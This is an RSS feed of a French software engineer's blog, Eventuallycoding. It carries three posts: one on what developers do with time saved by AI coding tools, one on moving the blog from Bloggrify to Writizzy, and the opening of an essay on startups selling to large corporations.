<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Eventuallycoding</title>
        <link>https://eventuallycoding.com</link>
        <description>Ingénieur logiciel/Indie Hacker avec plus de 20 ans d'expérience. Je partage sur les technologies, l'entreprenariat et les startups, entre autre...</description>
        <lastBuildDate>Sat, 04 Apr 2026 06:34:34 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>Writizzy</generator>
        <language>fr</language>
        <image>
            <title>Eventuallycoding</title>
            <url>https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/1772203881288-n6bfopk.png</url>
            <link>https://eventuallycoding.com</link>
        </image>
        <copyright>All rights reserved 2026, Eventuallycoding</copyright>
        <item>
            <title><![CDATA[Coder 10x plus vite : à quoi ça sert vraiment ?]]></title>
            <link>https://eventuallycoding.com/p/coder-10x-plus-vite-a-quoi-ca-sert-vraiment</link>
            <guid>https://eventuallycoding.com/p/coder-10x-plus-vite-a-quoi-ca-sert-vraiment</guid>
            <pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[L'IA accélère le code. Mais le gain de temps n'a de valeur que si on sait quoi en faire. Et si on explorait les vrais impacts de la productivité sur les devs, les startups et les freelances.]]></description>
            <content:encoded><![CDATA[<p>J’ai vu passer ce post sur reddit ++<strong><a href="https://www.reddit.com/r/developpeurs/comments/1qcogyb/pour_les_devs_qui_gagnent_bcp_de_temps_gr%C3%A2ce_%C3%A0/">Pour les devs qui gagnent bcp de temps grâce à l'IA : vous en faites quoi ?</a></strong>++</p>
<p>Et je me suis effectivement posé la question. J’ai une réponse de mon côté, que je vais vous partager. Mais je suis bien conscient que mon cas est particulier. Donc je voulais creuser un peu et je me suis rendu compte d’un truc : ce n&#39;est pas gagner du temps qui devrait vous préoccuper. C&#39;est : ça change quoi pour vous ?</p>
<p>Est-ce que vous bossez moins, plus, différemment ?</p>
<p>Quel est l’impact dans une grosse boîte ? Ou pour un(e) freelance ?</p>
<p>Bref, ++<strong>si</strong>++ une personne gagne du temps, à quoi ça lui sert ? </p>
<h2>Un gain de temps discutable ?</h2>
<p>Bon déjà, pour être complet sur la question et surtout prendre du recul, une ++<a href="https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/">étude récente du METR</a>++ (Model Evaluation &amp; Threat Research) montre que ce gain de temps ne serait pas si évident que ça. </p>
<p>L’étude montre que des développeurs expérimentés sur une base de code historique serait 20% plus lent avec l’IA, lié en grande partie aux cycles de relectures. </p>
<p>Il faut prendre l’étude avec des pincettes puisqu’il s’agit d’un panel de 16 personnes. Il faut aussi comprendre le contexte, on parle de devs experts sur une base de code importante et complexe. </p>
<p>Je ne vais pas m’attarder sur cette étude parce que je peux aussi en trouver d’autres qui disent l’inverse. Mais je trouvais plus honnête intellectuellement de la citer histoire d’équilibrer le débat et <strong>surtout</strong> de lui faire prendre de la hauteur.</p>
<p>L’idée ici, c’est qu’on ne va pas partir du principe que forcément l’IA nous fait gagner du temps. Je ne veux pas rentrer dans ce débat. A la place on va faire complètement abstraction de l’IA et juste considérer une hypothèse : </p>
<p><em>Imaginons qu’une personne aille 20, 30% plus vite, voire même 10x plus vite pour produire du code, qu’est ce qui se passe ? Si la production logicielle devient moins couteuse, quel est l’impact sur le métier de développeur ? Qu’est-ce qu’on peut faire de ce temps gagné ?</em></p>
<p>Cette hypothèse est loin d’être débile. Aujourd’hui on se focalise sur l’IA mais le métier a radicalement changé depuis le temps où on devait cabler un ordinateur pour le programmer. On n’a eu de cesse d’améliorer la productivité. Et nos successeurs ne bosseront sans doute pas comme nous. </p>
<h2>Une opportunité pour les créateurs de produit</h2>
<p>Je suis un cas particulier donc ma réponse ne s’applique pas à la grande majorité des gens. </p>
<p>Je bosse à 2 sur un produit récemment créé. J’ai pas de contraintes productivistes, pas de salaire, personne à qui rendre compte.  </p>
<p>Je gère mon temps comme je le veux. Si jamais je finis une tâche en 1h plutôt qu’une semaine, j’ai juste le droit d’arrêter de bosser et faire autre chose. J’ai pas d’obligation d’empiler les heures pour pointer en fin de journée.</p>
<p>Bien sûr j’ai quand même une certaine pression, faut que le produit soit bon et adopté. Je surveille le nombre de nouveaux utilisateurs chaque mois, la croissance du chiffre d’affaires, les retours aussi qu’on me fait par email. Mais justement, pour mon cas, c’est une bonne chose d’avoir du temps supplémentaire.</p>
<p>Je peux répondre aux emails en y passant plus de temps. Je peux faire des analyses plus poussées, sur mon marché et les feedback utilisateurs. </p>
<p>Bref, je le vie comme une opportunité.</p>
<p>Là où avant le “technical founder” passait tout son temps à coder le produit et vivait la tête dans le guidon avec un gros handicap pour penser long terme sur le produit, gagner du temps me permet de rééquilibrer la balance.</p>
<p>J’adore coder. Mais coder me prenait du temps de cerveau sur la stratégie.</p>
<p>Ce n’est plus le cas.</p>
<p>Je peux passer plus de temps sur le pourquoi, et pas le comment.</p>
<h2>Du temps pour améliorer le produit, pas juste le complexifier</h2>
<p>Le temps a toujours été une ressource rare dans la construction de logiciel et d’entreprise. Quand je gagne du temps je peux le passer à plein d’autres choses pour le produit, améliorer la documentation utilisateur par exemple, ou améliorer le harnais de test pour m’épargner des futurs problèmes. </p>
<p>Je peux passer du temps sur des bugs que je vois passer dans les logs ou des petites pétouilles que j’avais vu dans l’interface mais que dans un autre contexte j’aurais repoussé à plus tard.</p>
<p>Vous avez tous en tête le symptôme de ce backlog jira infini et dans lequel on met des petites fiches d’amélioration. Ces fameux “on verra plus tard” qui sont surtout là pour nous donner bonne conscience ou pour satisfaire la personne du support qui nous en a parlé. </p>
<p>“T’as vu regarde, c’est dans notre TODO list. Bon, faudra 15 ans pour dépiler cette fiche mais c’est dedans…”</p>
<p>Pour moi ça n&#39;existe plus. Les petits soucis comme ça, je les empile par douzaines et le produit progressivement devient meilleur. </p>
<p>Si on reprend l’analogie financière de la dette technique. A partir du moment où le code me coûte moins cher, le remboursement se fait au fil de l’eau, ce qui diminue le coût de la dette (les intérêts). </p>
<h2>Du temps pour se former</h2>
<p>Depuis que j’ai moins de temps à passer sur le code, j’ai pu passer beaucoup plus de temps à réfléchir aux problèmes à résoudre. Et pour ça, j’ai pris plus de temps pour m’éduquer.</p>
<p>Avant j’étais pressé par le temps donc j’étais obligé de faire des raccourcis. Mais récemment j’ai pu me documenter et écrire des articles sur++<a href="https://eventuallycoding.com/p/2025-12-moderation-discoverability"> l’état de l’art autour des questions de modérations sur les plateformes de contenu</a>++, je me suis penché sur le fonctionnement des attributions de certificats SSL, le fonctionnement des proof of work sur les captcha. J’ai creusé des sujets comme la ++<a href="https://eventuallycoding.com/p/2025-11-purchasing-power-parity">parité de pouvoir d’achat</a>++.</p>
<p>Et puis, aussi surprenant que ça paraisse, j’ai tout simplement lâché le clavier.</p>
<p>Souvent dans mes journées types, je passe du temps loin de l’écran. J’ai amélioré ma technique sur les bouillons pour les ramen, j’ai fait plein de bricolage et j’ai commencé à construire des meubles pour la maison. </p>
<p>Et paradoxalement, ce temps m’aide aussi à construire mes produits. </p>
<p>Vous avez déjà remarqué que vous résolviez souvent des problèmes complexes sous la douche ? </p>
<p><strong>Glander favorise la créativité.</strong></p>
<p>J’ai mis du temps ++<a href="https://eventuallycoding.com/p/2023-03-accept-boredom">à l’accepter</a>++ mais laisser son cerveau se reposer. Le laisser incuber une idée et vagabonder pendant qu’on fait autre chose, c’est un excellent stimulant pour résoudre des problèmes. </p>
<p>Bien sûr, je sais que mon cas est spécifique. Je me vois mal démarrer une séance de menuiserie dans un open space au milieu d’une équipe de dev. Mais pour mon cas, gagner du temps sur du dev, c’est un rééquilibrage global de mes journées et paradoxalement, un travail de meilleure qualité qui est produit. </p>
<p>Parce que le sujet n’a jamais été “que” de faire du code mais aussi de réfléchir au long terme, <strong>ce qui est plus simple quand on a le temps pour le faire.</strong></p>
<p>Maintenant évidemment, je me doute que c’est un peu différent dans un contexte plus traditionnel. Alors je me suis documenté pour voir ce qu’on en disait ailleurs.</p>
<h2>Productivité et burnout : le vrai coût</h2>
<p>Une des premières réponses provient ++<a href="https://hbr.org/2026/02/ai-doesnt-reduce-work-it-intensifies-it">d’une étude de la Harvard Business Review</a>++. L’augmentation de la productivité ne conduirait pas à une réduction du temps de travail, mais à une intensification. </p>
<p>Le travail deviendrait plus intense pour plusieurs raisons : </p>
<ul>
<li>l’IA supprimerait les pauses cognitives. Et oui, puisqu’il serait plus rapide de démarrer un sujet avec l’IA, on perdrait le moment de pause qui existe normalement au début de chaque projet pendant lequel on se demande comment faire. </li>
<li>l’IA gommerait les frontières entre métiers. Je me sentirais plus capable de faire du front, du design, de l’ops, du back, du mobile et donc mon périmètre de travail explose</li>
<li>La gratification étant plus fréquente, on serait incité à continuer sans arrêt. Si vous faites 10 tickets par jour et que chaque ticket est rapide, pourquoi ne pas faire le 11eme ? Un petit prompt avant de fermer l’écran ?</li>
</ul>
<p>Sauf que cette intensification vient avec un prix élevé : la fatigue, le burnout, les erreurs (parce que, quand on est fatigué on laisse passer plus de choses).</p>
<p>Je suis tombé sur un article qui parle exactement de ce sujet et qui compare++<a href="https://steve-yegge.medium.com/the-ai-vampire-eda6e4f07163"> l’IA à un vampire</a>++ qui drainerait notre énergie. </p>
<p>L’idée est simple, comme l’IA prend en charge toutes les tâches simples et répétitives, qui servaient autrefois de <strong>pause cognitive</strong>, il nous reste essentiellement les tâches de haut niveau, les décisions critiques.</p>
<p>Or nous ne sommes pas capables de prendre ce type de décision constamment pendant 8h par jour. C’est beaucoup trop intense.</p>
<p>C’est pour ça que, personnellement, soit je m’éloigne de l’écran une partie de la journée, soit j’y fais des activités plus récréatives : écrire un article (ce qui explique que j’écrive plus qu’avant ^^), ou me former. Et c’est d’ailleurs la recommandation de l’article, il faut trouver un nouvel équilibre.</p>
<p>Je ne sais pas dans quelle mesure l’article est sincère mais c’est ce qui semble être ++<a href="https://github.blog/ai-and-ml/generative-ai/how-developers-spend-the-time-they-save-thanks-to-ai-coding-tools/">l’approche chez Github</a>++. Ils ont utilisé le gain de temps, non pas pour augmenter drastiquement la productivité mais pour d’autres types de tâches, la collaboration, la réflexion. </p>
<h2>Faire plus ≠ Faire mieux</h2>
<p>De toute façon, il y a une limite physique à ce que les utilisateurs finaux peuvent encaisser en termes de nouvelles fonctionnalités par jour.</p>
<p>C’est pas parce qu’on peut produire 10x plus de nouvelles features que c’est bénéfique pour l’utilisateur final. </p>
<p>C’est ce qu’on appelle la loi de Tesler, ++<a href="https://ux-lois.github.io/cards/03-law-tesler/">la loi de conservation de la complexité</a>++. Dans un système, il existe une quantité de complexité qu’on ne peut pas réduire. Si on la réduit quelque part, par exemple pour les développeurs qui vont plus vite, elle se répercute ailleurs, pour les utilisateurs qui doivent s’adapter à un logiciel qui évolue beaucoup trop vite. </p>
<p>On s’expose aussi au risque de “feature fatigue” qui rend les logiciels trop complexes, car trop complets. C’est souvent une bonne chose d’être forcé à faire des choix. </p>
<p>Bref, ce n’est dans l’intérêt de personne d’augmenter la cadence et il est préférable que les gains de productivité se reflètent davantage dans des features mieux pensées ou une augmentation du travail fait sur la qualité “invisible”. </p>
<h2>Quand la productivité crée l&#39;ennui</h2>
<p>Maintenant il y a un scénario qui me semble aussi important à mentionner. Il y a beaucoup de gens qui bossent dans des entreprises où aller plus vite ne changera absolument rien. Parce que ces entreprises luttent davantage contre leur propre inertie que contre un quelconque défi produit. </p>
<p>J’ai bossé en grosse boite. Et je me rappelle très bien d’une mission en 2003 où coder n&#39;était juste pas le sujet.</p>
<p>Je venais d’un job précédent ou c’était plutôt dynamique. J’étais habitué à un certain rythme. Dans ce nouveau job, on m’a donné un programme à faire. Je l’ai réalisé en 2 jours. Je suis retourné voir mon boss de l’époque. Il m’a dit qu’on en rediscuterait 3 semaines plus tard. En un an, j’ai presque rien produit et c’est sans doute la pire année de ma carrière. </p>
<p>Le matin t’avais des gens qui passaient pour dire qu’il y aurait des réunions sur tel ou tel sujet et demandait qui voulait participer. Je ne comprenais pas pourquoi tout le monde y allait constamment.</p>
<p>Mais après j’ai compris. C’était pour occuper les journées. </p>
<p>Si j’avais mis 1h pour faire mon travail plutôt que deux jours, je me serais juste ennuyé plus longtemps. </p>
<p>Je savais qu’on pouvait faire des burnout. Mais là bas j’ai failli faire un bore out. Et puis j’ai commencé à me former en parallèle sur tout ce que je voulais. J’ai rentabilisé ce temps.</p>
<p>Mais je vous cache pas que j’étais heureux comme pas possible quand la mission s’est arrêté…</p>
<p>Bref, il y a des endroits où coder plus vite, ça ne changera rien. Les pauses café seront juste plus longues…</p>
<h2>Freelances : du temps passé à la valeur produite</h2>
<p>Maintenant il y a une population pour laquelle je me pose encore pas mal de questions. </p>
<p>Partons toujours du scénario où le coût du code s’effondre, que deviennent les personnes qui facturent au temps passé ?</p>
<p>On pourrait imaginer qu’une partie de cette population ne va pas forcément crier sur tous les toits qu’elle a terminé son job plus rapidement, puisque ça impliquerait de perdre de l’argent.</p>
<p>Est-ce que c’est tenable sur le long terme, d’autant plus pour un freelance qui travaille dans les locaux du client, donc à la vue de tous ? Dans les grands groupes dont je parlais tout à l’heure, oui certainement. Mais ça ne tiendra jamais dans une entreprise dont les développeurs aussi utilisent les mêmes outils pour aller plus vite.</p>
<p>Et c’est là où je me demande si le forfait, la facturation au résultat, ne pourrait pas devenir plus avantageux que la facturation au temps passé.</p>
<p>Habituellement j’ai plutôt tendance à déconseiller l’engagement de résultat, surtout sur des freelances plus jeunes parce c’est pas si simple que ça de contractualiser correctement et de savoir poser des limites ou tout simplement de savoir estimer un travail avant de le réaliser. </p>
<p>Mais si l’IA permettait de sécuriser le développement, et de le rendre plus rapide, le forfait pourrait regagner de l’intérêt.</p>
<p>Il ne s’agirait plus de facturer du temps, mais de la valeur. </p>
<p>Je n’aurais aucune réserve à faire payer une certaine somme pour un travail qui a de la valeur, même si j’y passais seulement 1 ou 2 jours. </p>
<p>J’ai travaillé pendant 25 ans pour être capable de donner ce résultat en 2 jours. Un client paie votre expérience, et votre capacité à utiliser des outils. Peu importe que vous soyez plus rapide. </p>
<p>Au pire je pourrais baisser un peu mes prix mais mon risque se paie aussi quand je facture sur un engagement de résultat. </p>
<p>Malgré tout, je ne sais pas si ce raisonnement tiendra dans la durée. Des concurrents tout aussi bons que moi pourraient s’engager avec plus de clients pour compenser une perte, et donc faire baisser les prix sur un contrat unitairement.</p>
<p>Je suis tombé sur ++<a href="https://2727coworking.com/articles/ai-impact-freelancers">un article qui parle un peu de ça</a>++. Sa conclusion étant que les freelances experts vont continuer à s’en sortir mais les besoins vont diminuer. D’autant que leurs clients eux-mêmes vont aussi se mettre à faire du dev si le coût du code diminue.</p>
<p>Une des conclusions de l’article dit par contre que l’IA ne remplacera pas le freelance, mais que **le freelance utilisant l&#39;IA remplacera celui qui ne l&#39;utilise pas. **Et c’est sans doute la leçon la plus importante.</p>
<h2>Conclusion</h2>
<p>Encore une fois, la question n’était pas, est-ce que l’IA nous rend plus rapide. La vraie question dont je voulais discuter c’était “qu’est ce qu’on fait du temps gagné ?”.</p>
<p>La réponse dépend de votre contexte.</p>
<p>Si vous êtes dans une boîte sclérosée où coder plus vite ne change rien, vous vous ennuierez plus vite. Si vous êtes product-focused et que vous avez la liberté de piloter votre temps, c&#39;est une opportunité incroyable de reprendre du recul sur votre produit. Si vous êtes freelance, c&#39;est peut-être le moment de négocier différemment.</p>
<p>Mais il y a une limite importante : <strong>la productivité ne fait sens que si elle crée de la valeur</strong>. Débiter 10x plus de features, c&#39;est peut-être pire pour vos utilisateurs. Gagner du temps c’est bien mais ça ne vaut quelque chose que si vous savez quoi en faire.</p>
<p>Bref, il n&#39;existe pas une seule réponse. Mais par contre vous allez peut-être gagner du temps pour trouver cette réponse.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dogfooding : Pourquoi mon propre blog est passé sur Writizzy ?]]></title>
            <link>https://eventuallycoding.com/p/dogfooding-pourquoi-mon-propre-blog-est-passe-sur-writizzy</link>
            <guid>https://eventuallycoding.com/p/dogfooding-pourquoi-mon-propre-blog-est-passe-sur-writizzy</guid>
            <pubDate>Sun, 01 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Dogfooding : Pourquoi j'ai migré EventuallyCoding vers Writizzy. Entre la difficulté de l'Open Source et l'agilité du SaaS, voici quelques retours d'expérience]]></description>
            <content:encoded><![CDATA[<p>En 2022 j&#39;ai créé un générateur de blog statique open source : <a href="https://bloggrify.com/">Bloggrify</a>.</p>
<p>C&#39;est globalement similaire à <a href="https://gohugo.io">Hugo</a>, ça permet de générer un blog statiquement (c&#39;est juste un ensemble de fichiers html) puis de l&#39;héberger ensuite, souvent gratuitement, que ce soit sur Cloudflare, GitHub, <a href="http://bunny.net">bunny.net </a>etc...</p>
<p>J&#39;étais passé auparavant par Wordpress, Joomla, Medium et j&#39;avais envie de retrouver une certaine souplesse d&#39;utilisation, pouvoir customiser le blog comme je voulais.  </p>
<p>La vérité c&#39;est certainement aussi que je suis développeur et que j&#39;avais envie aussi d&#39;en faire un terrain de jeu. </p>
<p>Et pourtant en 2026, j&#39;avoue qu&#39;un blog statique ça me freine beaucoup pour écrire, j&#39;ai donc décidé de migrer à nouveau vers un blog managé : <a href="https://writizzy.com/">Writizzy</a>, un autre produit que je construis.</p>
<p>Bref c&#39;est l&#39;occasion de parler de plein de sujets : </p>
<ul>
<li>le dogfooding : pourquoi il faut absolument utiliser ses propres produits</li>
<li>pourquoi c&#39;est dur de faire de l&#39;open source (une des raisons)</li>
<li>la satisfaction de construire un produit vraiment utilisé</li>
<li>l&#39;avenir de tous les projets, bloggrify, writizzy, mais aussi <a href="https://hakanai.io">hakanai.io</a></li>
</ul>
<h2>Bloggrify : Quand mon blog était mon terrain de jeu technique</h2>
<p>Bloggrify, c&#39;est, avant tout, un coup de cœur pour l&#39;écosystème Nuxt et notamment Nuxt-content. Vous pourrez retrouver <a href="https://eventuallycoding.com/p/2022-11-blog-migration-on-nuxt">mes critères de choix</a> à l&#39;époque quand j&#39;ai migré la première fois depuis Wordpress, mais en simplifiant je listerais : </p>
<ul>
<li>un langage de templating simple (markdown)</li>
<li>extensible (pour gérer un flux rss, un sitemap, etc...)</li>
<li>le prix </li>
<li>l&#39;impact carbone (un site statique ca consomme peu)</li>
</ul>
<p>En réalité en 2022 c&#39;était pas encore un &quot;produit&quot; open source dans le sens ou c&#39;était simplement mon blog qui était accessible à tout le monde. C&#39;est devenu <a href="https://eventuallycoding.com/p/2024-02-launch-bloggr">un produit open source</a>, avec un vrai site, un README pour inciter aux contributions etc... à part entière uniquement en 2024. </p>
<p>A ce moment là j&#39;avais acquis quelques convictions, il fallait que le produit soit &quot;opinionated&quot;, c&#39;est à dire qu&#39;il vienne avec tout un tas de choix déjà fait pour que ce soit le plus simple possible à utiliser.</p>
<p>Nuxt-content fait 90% du boulot mais ça reste un outil un peu générique donc pour un blog il fallait encore rajouter pas mal de choses : </p>
<ul>
<li>le flux rss</li>
<li>le sitemap</li>
<li>la gestion du robots.txt</li>
<li>les commentaires </li>
<li>la gestion des tables de matière</li>
<li>les boutons de partage</li>
<li>une newsletter</li>
<li>de l&#39;analytics</li>
<li>le SEO</li>
</ul>
<p>etc... </p>
<p>C&#39;est ça Bloggrify. C&#39;est une sorte de starter pack pour démarrer un blog avec Nuxt-content mais en ayant déjà tout de configuré. C&#39;est la même chose que <a href="https://docus.dev/">docus</a>, mais pour un blog. Docus étant un starter pack pour démarrer une documentation à partir de Nuxt content. </p>
<h2>Des étoiles Github sans utilisateur</h2>
<p>Je suis plutôt joueur. Si je fais une application ou un projet open source, j&#39;aime bien voir des chiffres pour être sur que c&#39;est utilisé. J&#39;aime voir qu&#39;il y a un usage. C&#39;est bête mais vu l&#39;effort que ça nécessite de faire des releases sur npm (c&#39;est un enfer ce truc), de gérer les montées de version, de créer des themes, qui doivent eux-mêmes être mis à jour en fonction des versions du core etc... Forcément on attend un minimum de résultats.</p>
<p>Le projet a eu 164 stars sur GitHub, il est placé vers le milieu de tableau sur <a href="https://jamstack.org/">jamstack</a>, ce qui est... bien, mais sans plus. </p>
<p>Par contre, j&#39;ai quasiment 0 échos de son usage. J&#39;ai eu quelques rares issues sur GitHub, un contributeur qui a été actif quelques semaines avant de disparaitre, et puis plus rien. </p>
<p>Je connais un seul blog qui l&#39;a utilisé, avant de repartir sur hugo. </p>
<p>Donc au final, l&#39;expérience est plutôt mitigé. Je suis complètement dans le brouillard quand à son usage. Ca me rajoute du boulot pour mon blog, sans que je sois sûr que ca serve à d&#39;autres. Donc... comment dire. Au bout d&#39;un moment ca démotive un peu. </p>
<p>Tout n&#39;est pas noir, ça m&#39;a permis par contre aussi de lancer d&#39;autres produits : </p>
<ul>
<li><a href="https://broadcast.hakanai.io">broadcast.hakanai.io</a> : un système de newsletter pour blog statique qui s&#39;appuie sur le flux RSS du site </li>
<li><a href="https://pulse.hakanai.io">pulse.hakanai.io</a> : un système de blog analytics qui est vraiment construit pour du blog et pas juste des web analytics standard.</li>
</ul>
<p>C&#39;est des plugins qu&#39;on peut activer dans Bloggrify.</p>
<h2>La construction de SAAS</h2>
<p>Les deux produits, broadcast et pulse, ont été lancés en 2024 et 2025 respectivement. Ils vivent une petite vie tranquille mais ne font pas d&#39;étincelles. La cible c&#39;est les bloggeurs qui utilisent des sites statiques, autrement dit, des développeurs. Et autant vous dire que c&#39;est la population qui est la moins prête à payer pour un service :)</p>
<p>Malgré tout, je suis quand même très satisfait, ces deux produits m&#39;ont permis d&#39;apprendre beaucoup de choses sur la construction d&#39;un SAAS, la facturation par abonnement, la stack la plus efficace pour moi etc... </p>
<p>Je les utilise moi-même très régulièrement, les newsletters de mon blog étaient envoyés via broadcast. Il y a environ 150 abonnés qui ont décidé de s&#39;abonner pour recevoir les articles dans leur boite aux lettres. Et j&#39;ai pu utiliser pulse pour suivre les origines du traffic sur mon blog, voir quels sont les articles qui ont le mieux marché, ceux qui sont les plus lus, ou pas etc... </p>
<p>Encore une fois, j&#39;aime les chiffres ^^</p>
<p>Par contre la réalité c&#39;est que ces deux softs font environ 100 euros de MRR par mois, donc c&#39;est pas là dessus que je dois compter pour assurer ma retraite. </p>
<p>Mais tout ça nous amène à Writizzy. </p>
<h2>Writizzy</h2>
<p>Avec Bloggrify je me suis quand même rendu compte que mon workflow d&#39;écriture était devenu un peu pénible. Entre la maintenance du framework lui-même, mes allers/retours dans des outils pour la correction orthographique, l&#39;écriture en markdown, le lancement du serveur pour vérifier que tout va bien et que j&#39;ai cassé aucun lien, la compilation et le temps de déploiement, au final j&#39;y perdais un temps fou. </p>
<p>Pour mon dernier article, on m&#39;a signalé des fautes d&#39;orthographes, j&#39;ai du mettre presque 20 minutes entre l&#39;édition et le déploiement pour effectuer les corrections. </p>
<p>Et je parle même pas de la gestion des images qu&#39;il faut gérer dans Intellij, ou de la montée de version Nuxt 4 et Nuxt content qui ont pas mal ralenti tout ça avec une expérience développeur un peu moins bonne. Je reste amoureux de ces outils mais je les trouve moins adapté pour un blog vu les temps de lancement et/ou de compilation. </p>
<p>Pour être franc, j&#39;étais pas conscient de ça. Je subissais ces inconvénients et je restais très content d&#39;avoir de la &quot;flexibilité&quot; sur ce que je pouvais faire avec mon blog. </p>
<p>Et puis j&#39;ai créé Writizzy. Writizzy c&#39;est la synthèse de toute mon expérience de blogger. C&#39;est un mix entre Substack, ghost, medium mais en essayant de résoudre tout les problèmes de chacun. C&#39;est aussi construit comme une alternative européenne avec plusieurs préoccupations en tête : </p>
<ul>
<li><a href="https://eventuallycoding.com/p/2025-12-software-that-lasts">la durabilité</a>, incluant des sujets de réversibilité et interopérabilité</li>
<li><a href="https://eventuallycoding.com/p/2025-12-moderation-discoverability">la découvrabilité</a></li>
<li><a href="https://eventuallycoding.com[https://eventuallycoding.com/p/2025-11-purchasing-power-parity](https://eventuallycoding.com/p/2025-11-purchasing-power-parity)">l'accessibilité économique </a>(la parité de pouvoir d&#39;achat)</li>
<li>la transparence (via ce blog notamment)</li>
</ul>
<p>J&#39;ai rapidement mis mon <a href="https://eventuallymaking.io/">blog anglophone dessus</a> mais je prévoyais absolument pas d&#39;y mettre eventuallycoding.com. </p>
<p>Sauf que rapidement j&#39;ai commencé à réaliser que j&#39;écrivais beaucoup plus rapidement sur mon blog anglais. J&#39;ai pris conscience de la pénibilité de mon workflow sur mon blog statique en utilisant Writizzy. La gestion des images c&#39;est du bonheur puisque je peux copier coller mon image dans le texte. Tout est géré. J&#39;ai une preview directe, sans lancer de serveur. Je vais prochainement ajouter un outil pour le check orthographique, donc ce sera encore une épine dans le pied en moins. Bref, c&#39;est pratique.</p>
<p>Et c&#39;est pourquoi j&#39;ai fini par décider de migrer sur Writizzy. Ce qui pose maintenant une question : l&#39;avenir de Bloggrify.</p>
<h2>L&#39;avenir de mes projets</h2>
<p>J&#39;ai longuement hésité à migrer eventuallycoding.com parce que je me suis dit que c&#39;était aussi prendre le risque de tuer Bloggrify. Si même moi je l&#39;utilise plus, ça devient risqué. Quand on utilise pas soi-même son produit, ou qu&#39;on n&#39;est pas obnubilé par le problème qu&#39;il résoud, c&#39;est quasi impossible de réussir à s&#39;y attacher.  </p>
<p>C&#39;est un peu le symptôme de beaucoup de projets jetables que je vois passer sur internet. C&#39;est fait par des gens qui papillonnent mais qui n&#39;ont aucun attachement à leur produit. Donc oui, ne plus utiliser Bloggrify, c&#39;est risqué.  </p>
<p>Mais je crois que je me suis fait à l&#39;idée. Aujourd&#39;hui j&#39;ai très peu d&#39;indices me permettant de savoir si Bloggrify est utilisé. Alors que Writizzy a déjà 314 blogs, 11 utilisateurs payants (ce qui fait 135 euros de MRR), en 4 mois. Pourquoi s&#39;acharner sur Bloggrify ? Et de toute façon, je pense que je résous le même problème avec Writizzy, mais d&#39;une meilleure façon.  </p>
<p>J&#39;ai des mails de feedback ou de demandes d&#39;évolution toutes les semaines, et j&#39;ai plein de retours positifs par les gens qui l&#39;utilisent. Le produit est pas parfait mais tous les jours il s&#39;améliore. Il s&#39;améliore parce que j&#39;ai des retours de vrais utilisateurs, ce qui me motive constamment à peaufiner le site, fixer les trucs qui vont pas, ajouter les features qui devraient absolument être là. </p>
<p>Et il s&#39;améliore aussi parce que je l&#39;utilise beaucoup. C&#39;est un énorme bénéfice et c&#39;est ce qu&#39;on appelle le dogfooding. Tous les jours je suis confronté au logiciel, donc je sais ce qu&#39;il faut changer.</p>
<p>Donc oui, Bloggrify va passer en mode maintenance. Je vais en profiter pour passer tout les templates en open source. Il y en avait 2 qui étaient &quot;premium&quot; mais ça n&#39;aurait pas de sens de les laisser tel quel aujourd&#39;hui. </p>
<p>Je me dis que je le ferais évoluer de temps en temps mais j&#39;avoue que je me demande si je me mens pas un peu à moi-même ^^</p>
<p>Pour <a href="http://Hakanai.io">Hakanai.io</a> par contre, là c&#39;est certain que je continue. Il y a un problème à résoudre qui continue de m&#39;intéresser. J&#39;ai des retours positifs, enfin surtout sur Broadcast. Pulse a le gros inconvénient d&#39;être mal compris. C&#39;est un produit qui fait du blog analytics, et personne comprend ce que ça veut dire. Il y a des conseils SEO, de la détection d&#39;outlier, de content evergreen. Mais je suis pas très bon sur le marketing donc globalement il passe assez inaperçu hormis parmi les lecteurs de ce blog qui ont fait l&#39;effort de le tester.</p>
<p>Mais en tout cas je suis motivé pour les garder.</p>
<p>Quand à Writizzy, il est évident qu&#39;il n&#39;y a aucun doute. Le produit est super intéressant à construire. Les enjeux sont vraiment sympas (construire une plateforme d&#39;expression hors des plateformes américaines). Il y a des retours positifs et des chiffres qui vont avec (+45% de croissance users MoM).</p>
<p>Bref, je vous souhaite la bienvenue sur ce blog, désormais sur Writizzy. Et vous pouvez tester déjà plein de choses en tant que lecteur : </p>
<ul>
<li>la section commentaire </li>
<li>vous inscrire à la newsletter si ce n&#39;est pas déjà fait</li>
<li>lire d&#39;autres articles de blog créé par des bloggeurs sur Writizzy, on en a sélectionné quelques uns pour apparaître sur <a href="https://writizzy.com/discover">le feed discover</a>. Feed qui deviendra plus customisable dans le futur :)</li>
</ul>
<p>Bienvenue.</p>
]]></content:encoded>
            <category>bloggrify</category>
            <category>opensource</category>
            <category>writizzy</category>
            <category>blog</category>
        </item>
        <item>
            <title><![CDATA[Le syndrome B2BigB : comment les grands groupes tuent doucement les startups ]]></title>
            <link>https://eventuallycoding.com/p/2026-02-b2bigb</link>
            <guid>https://eventuallycoding.com/p/2026-02-b2bigb</guid>
            <pubDate>Wed, 25 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Vendre à un grand groupe semble être la validation ultime pour une startup. C'est souvent le début de la fin. Cycles de vente interminables, trésorerie en tension, produit détourné de sa roadmap : voici pourquoi le B2BigB est un piège, et comment essayer de l'éviter.]]></description>
            <content:encoded><![CDATA[<p>Fin des années 2000 je bossais chez un éditeur et un de mes collègues s&#39;est lancé dans un projet de boite. C&#39;était une sorte de <a href="https://secondlife.com/">Second life</a> pour entreprise, où un avatar pouvait se déplacer puis déclencher des discussions avec d&#39;autres personnes.</p>
<p>J&#39;ai plus le détail en tête, mais avec le recul et sans doute beaucoup d&#39;exagération, je dirais que c&#39;était comme <a href="https://www.gather.town/">Gather</a> mais avec 15 ans d&#39;avance.
L&#39;application semblait bien marcher et la boite enchainait les rendez-vous avec des grosses boites qui semblaient super intéressés pour déployer ça à l&#39;échelle de l&#39;entreprise. On parle de grandes banques, de grands fournisseurs d&#39;énergie, des boites vraiment sérieuses.
Sauf que ça a trainé, un mois, un trimestre, un an, puis deux. Et finalement la boite est morte à attendre une vraie signature et un peu de cash accessoirement.</p>
